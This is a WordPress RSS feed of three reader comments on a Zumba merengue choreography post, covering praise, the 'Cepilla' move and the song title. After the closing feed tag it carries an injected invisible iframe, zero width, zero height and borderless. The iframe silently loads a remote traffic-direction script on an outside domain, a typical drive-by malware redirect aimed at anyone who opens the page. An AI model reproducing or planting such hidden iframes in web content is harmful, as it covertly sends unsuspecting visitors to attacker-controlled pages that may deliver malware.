<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: ZUMBA MERENGUE</title>
	<atom:link href="http://zumba.beehavensite.com/502/zumba-merengue/feed/" rel="self" type="application/rss+xml" />
	<link>http://zumba.beehavensite.com/502/zumba-merengue/</link>
	<description>Feel Great - Dance</description>
	<lastBuildDate>Sat, 26 Jun 2010 05:45:27 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.3</generator>
	<item>
		<title>By: kabaw101</title>
		<link>http://zumba.beehavensite.com/502/zumba-merengue/comment-page-1/#comment-3524</link>
		<dc:creator>kabaw101</dc:creator>
		<pubDate>Tue, 09 Feb 2010 08:12:24 +0000</pubDate>
		<guid isPermaLink="false">http://zumba.beehavensite.com/502/zumba-merengue/#comment-3524</guid>
		<description>&lt;b&gt;I love your choreo, ...&lt;/b&gt; &lt;br&gt; I love your choreo, what is the title of the song?</description>
		<content:encoded><![CDATA[<p><b>I love your choreo, &#8230;</b> <br /> I love your choreo, what is the title of the song?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: serenenz</title>
		<link>http://zumba.beehavensite.com/502/zumba-merengue/comment-page-1/#comment-3522</link>
		<dc:creator>serenenz</dc:creator>
		<pubDate>Tue, 09 Feb 2010 08:12:23 +0000</pubDate>
		<guid isPermaLink="false">http://zumba.beehavensite.com/502/zumba-merengue/#comment-3522</guid>
		<description>&lt;b&gt;Love it.  I just ...&lt;/b&gt; &lt;br&gt; Love it.  I just learnt the move for Cepilla at a master class this week and it means to brush (side to side) so i am using this in my class this week.</description>
		<content:encoded><![CDATA[<p><b>Love it.  I just &#8230;</b> <br /> Love it.  I just learnt the move for Cepilla at a master class this week and it means to brush (side to side) so i am using this in my class this week.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: joropogrl</title>
		<link>http://zumba.beehavensite.com/502/zumba-merengue/comment-page-1/#comment-3523</link>
		<dc:creator>joropogrl</dc:creator>
		<pubDate>Tue, 09 Feb 2010 08:12:23 +0000</pubDate>
		<guid isPermaLink="false">http://zumba.beehavensite.com/502/zumba-merengue/#comment-3523</guid>
		<description>&lt;b&gt;cepilla cepilla- by ...&lt;/b&gt; &lt;br&gt; cepilla cepilla- by Fulanito</description>
		<content:encoded><![CDATA[<p><b>cepilla cepilla- by &#8230;</b> <br /> cepilla cepilla- by Fulanito</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
